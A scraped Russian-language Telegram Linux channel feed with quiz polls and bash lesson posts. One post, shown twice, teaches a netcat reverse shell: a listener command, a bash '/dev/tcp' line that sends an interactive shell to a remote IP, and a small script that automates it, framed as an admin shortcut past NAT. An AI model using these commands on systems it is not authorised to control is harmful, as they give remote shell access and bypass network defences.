📚 Забирай эту базу знаний в закладки и экономь часы жизни! Проблемы больше не застанут тебя врасплох.
📩 Завтра: Reverse Shell на практике: подключаемся к скрытому серверу за 1 минуту
Включи 🔔 чтобы не пропустить!
________________
Дополнительный материал:
🧠 - Открой секреты своей системы: 18 команд которые должен знать каждый линуксоид!
🧠 - Осторожно: Никогда не запускай эти 11 команд в Linux!
🧠 - Защита SSH-сервера: порты, ключи и iptables
#Linux_Mastery @LinuxSkill #Linux #Troubleshooting #Errors #Sysadmin #DevOps
Telegram
Linux Skill - Освой Linux c нуля до DevOps
🔍 Открой секреты своей системы: 18 команд которые должен знать каждый линуксоид!
Привет, линукс-мастер! Сегодня я расскажу тебе о полезных командах, которые помогут быстро получить сведения о системе и активности пользователей. Эти команды — твои лучшие…
Привет, линукс-мастер! Сегодня я расскажу тебе о полезных командах, которые помогут быстро получить сведения о системе и активности пользователей. Эти команды — твои лучшие…
👍40🔥6
🚀 Reverse Shell на практике: подключаемся к скрытому серверу за 1 минуту!
Привет, цифровые исследователи и администраторы!
Хочешь получить доступ к серверу за NAT или в приватной сети без прямого IP? Без проброса портов и плясок с VPN?
Лови лайфхак с Netcat — проверенный способ настроить Reverse Shell за пару команд!
#Что делаем:
1. У удалённого инженера на своей машине:
> Параметры:
> -
> -
> -
> -
2. На целевом сервере (внутреннем):
И вуаля! Инженер получает полноценный терминал с правами текущего пользователя. 🎯
Важно:
- Проверь IP заранее.
- Убедись в правах доступа.
- Используй только в рамках закона и корпоративных правил! ⚖️
🛠️ Автоматизация: скрипт Reverse Shell за 1 команду
Чтобы ещё быстрее организовать подключение, можно использовать мини-скрипт:
Как использовать:
1. Сохрани этот код в файл, например
2. Выдай права на исполнение:
3. Запусти:
Скрипт сам спросит IP и порт, а дальше всё произойдёт автоматически!
📩 Завтра: Вопрос №27 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Производительность Nginx против Traefik: кто победит?
🧠 - Как уменьшить размер образа Docker: от 1,2 ГБ до 10 МБ
🧠 - Нужно ли ставить кавычки вокруг переменных в shell-скриптах?
#Linux #Netcat #Security #ReverseShell
Привет, цифровые исследователи и администраторы!
Хочешь получить доступ к серверу за NAT или в приватной сети без прямого IP? Без проброса портов и плясок с VPN?
Лови лайфхак с Netcat — проверенный способ настроить Reverse Shell за пару команд!
#Что делаем:
1. У удалённого инженера на своей машине:
nc -lvnp 2288
> Параметры:
> -
-l — слушать входящие подключения> -
-v — подробный режим> -
-n — не использовать DNS> -
-p — указать порт2. На целевом сервере (внутреннем):
/bin/bash -i > /dev/tcp/IP_инженера/2288 0<&1 2>&1
И вуаля! Инженер получает полноценный терминал с правами текущего пользователя. 🎯
Важно:
- Проверь IP заранее.
- Убедись в правах доступа.
- Используй только в рамках закона и корпоративных правил! ⚖️
🛠️ Автоматизация: скрипт Reverse Shell за 1 команду
Чтобы ещё быстрее организовать подключение, можно использовать мини-скрипт:
#!/bin/bash
read -p "Введите IP инженера: " IP
read -p "Введите порт (по умолчанию 2288): " PORT
PORT=${PORT:-2288}
bash -i >& /dev/tcp/${IP}/${PORT} 0>&1
Как использовать:
1. Сохрани этот код в файл, например
reverse_shell.sh.2. Выдай права на исполнение:
chmod +x reverse_shell.sh
3. Запусти:
./reverse_shell.sh
Скрипт сам спросит IP и порт, а дальше всё произойдёт автоматически!
📩 Завтра: Вопрос №27 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Производительность Nginx против Traefik: кто победит?
🧠 - Как уменьшить размер образа Docker: от 1,2 ГБ до 10 МБ
🧠 - Нужно ли ставить кавычки вокруг переменных в shell-скриптах?
#Linux #Netcat #Security #ReverseShell
Telegram
Linux Skill - Освой Linux c нуля до DevOps
🎥 Производительность Nginx против Traefik: кто победит?
В этом видео мы сравниваем два популярных обратных прокси-сервера — Nginx и Traefik. Узнай, какой из них лучше справляется с нагрузкой и обеспечивает стабильную работу.
1. Введение и цели тестирования…
В этом видео мы сравниваем два популярных обратных прокси-сервера — Nginx и Traefik. Узнай, какой из них лучше справляется с нагрузкой и обеспечивает стабильную работу.
1. Введение и цели тестирования…
👍16👎1
Вопрос №27 из теста Linux Essentials Certification: Какие права установить для файла? Владелец должен открывать и редактировать, а члены группы — только читать. Остальные — без доступа. Какой chmod выбрать?
Anonymous Quiz
5%
0466
20%
0751
7%
0444
13%
0540
56%
0640
👀9👍6
Media is too big
VIEW IN TELEGRAM
🚀 Урок 4 — Почему
Привет! 👋
Сегодня разберём тему, которая сэкономит тебе нервы и часы работы в Bash-скриптах — конструкцию
Научимся заменять кучу вложенных
Зачем смотреть:
- Поймёшь, как избавиться от запутанных вложенных условий.
- Упорядочишь логику скриптов, сделав их читабельнее и надежнее.
- Научишься строить крутые сценарии обработки пользовательского ввода.
Таймкоды:
00:02 — Введение в конструкцию
02:16 — Пример использования
05:18 — Мультибор условий
08:43 — Комбинируем
15:09 — Управление циклом с помощью
23:47 — Заключение о возможностях конструкции
26:35 — Тестирование и демонстрация ошибок
27:27 — Проблемы вложенности if
28:09 — Как сделать код компактным и читаемым
28:20 — Финальные советы и прощание
🌐 Источник: https://www.youtube.com/watch?v=bdTDSprkTGE
📩 Завтра: Вопрос №28 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Мастер-класс по iptables: блокируем IP, создаем файрвол и управляем трафиком!
🧠 - Prometheus - Как установить Grafana, настроить Data Source, добавить Dashboards?
🧠 - Защити свои данные: Автоматическое резервное копирование на Linux
#Linux_youtube @LinuxSkill #bash #linux #скрипты #обучение
case круче вложенных if в BashПривет! 👋
Сегодня разберём тему, которая сэкономит тебе нервы и часы работы в Bash-скриптах — конструкцию
case. Научимся заменять кучу вложенных
if на красивую, компактную структуру.Зачем смотреть:
- Поймёшь, как избавиться от запутанных вложенных условий.
- Упорядочишь логику скриптов, сделав их читабельнее и надежнее.
- Научишься строить крутые сценарии обработки пользовательского ввода.
Таймкоды:
00:02 — Введение в конструкцию
case 02:16 — Пример использования
case 05:18 — Мультибор условий
08:43 — Комбинируем
case и цикл while 15:09 — Управление циклом с помощью
break и exit 23:47 — Заключение о возможностях конструкции
26:35 — Тестирование и демонстрация ошибок
27:27 — Проблемы вложенности if
28:09 — Как сделать код компактным и читаемым
28:20 — Финальные советы и прощание
🌐 Источник: https://www.youtube.com/watch?v=bdTDSprkTGE
📩 Завтра: Вопрос №28 из теста Linux Essentials Certification
Включи 🔔 чтобы не пропустить!
____________________
Дополнительный материал:
🧠 - Мастер-класс по iptables: блокируем IP, создаем файрвол и управляем трафиком!
🧠 - Prometheus - Как установить Grafana, настроить Data Source, добавить Dashboards?
🧠 - Защити свои данные: Автоматическое резервное копирование на Linux
#Linux_youtube @LinuxSkill #bash #linux #скрипты #обучение
👍14🔥2
Вопрос №28 из теста Linux Essentials Certification: Какие три уровня прав есть у файла в Linux?
Anonymous Quiz
17%
Администратор, группа, остальные
17%
Администратор, пользователь, остальные
63%
Пользователь, группа, остальные
2%
Пользователь, обычный пользователь, остальные
👍12👎5👀2
Media is too big
VIEW IN TELEGRAM
🎯 Урок 5 — Функции Bash за 49 минут: основы, примеры, фишки
Привет, цифровые дирижёры и мастера настроек! 🚀 Сегодня мы настраиваем Bash на новый уровень!
Хочешь писать чистый и красивый код в Bash? Тогда тебе сюда!
Разберём, как использовать функции: передача параметров, возврат значений, обработка ошибок и крутые практические примеры. Всё за 10 минут — быстро, чётко и по делу.
### Таймкоды:
00:05 — Введение в функции в Bash
02:14 — Передача параметров в функции
09:24 — Область видимости переменных
20:38 — Возвращение значений из функций
22:24 — Пример использования
23:53 — Коды выполнения функций
25:39 — Примеры возврата и обработки ошибок
29:49 — Проблемы с перезаписью значений
31:19 — Использование case для обработки кодов
34:24 — Практическое применение: проверка файлов
36:07 — Проверка директорий
37:47 — Тестирование функций
40:25 — Обработка кодов возврата
44:00 — Практическая автоматизация
46:42 — Переопределение системных команд
48:19 — Заключение
🌐 Источник: https://www.youtube.com/watch?v=YtJjsHAynQU
📩 Завтра: Можешь ли ты использовать
Включи 🔔 чтобы не пропустить!
________________
Дополнительный материал:
🧠 - Prometheus - Как мониторить Динамичное количество серверов на AWS
🧠 - Освободи место на сервере: 5 способов автоматического удаления старых файлов!
🧠 - Cruft: Утилита для поиска ненужных файлов на Linux серверах
#Linux_youtube @LinuxSkill #bash #linux #bashскрипты #программирование
Привет, цифровые дирижёры и мастера настроек! 🚀 Сегодня мы настраиваем Bash на новый уровень!
Хочешь писать чистый и красивый код в Bash? Тогда тебе сюда!
Разберём, как использовать функции: передача параметров, возврат значений, обработка ошибок и крутые практические примеры. Всё за 10 минут — быстро, чётко и по делу.
### Таймкоды:
00:05 — Введение в функции в Bash
02:14 — Передача параметров в функции
09:24 — Область видимости переменных
20:38 — Возвращение значений из функций
22:24 — Пример использования
echo 23:53 — Коды выполнения функций
25:39 — Примеры возврата и обработки ошибок
29:49 — Проблемы с перезаписью значений
31:19 — Использование case для обработки кодов
34:24 — Практическое применение: проверка файлов
36:07 — Проверка директорий
37:47 — Тестирование функций
40:25 — Обработка кодов возврата
44:00 — Практическая автоматизация
46:42 — Переопределение системных команд
48:19 — Заключение
🌐 Источник: https://www.youtube.com/watch?v=YtJjsHAynQU
📩 Завтра: Можешь ли ты использовать
sudo без пароля? Проверь за 5 секунд!Включи 🔔 чтобы не пропустить!
________________
Дополнительный материал:
🧠 - Prometheus - Как мониторить Динамичное количество серверов на AWS
🧠 - Освободи место на сервере: 5 способов автоматического удаления старых файлов!
🧠 - Cruft: Утилита для поиска ненужных файлов на Linux серверах
#Linux_youtube @LinuxSkill #bash #linux #bashскрипты #программирование
👍18🔥3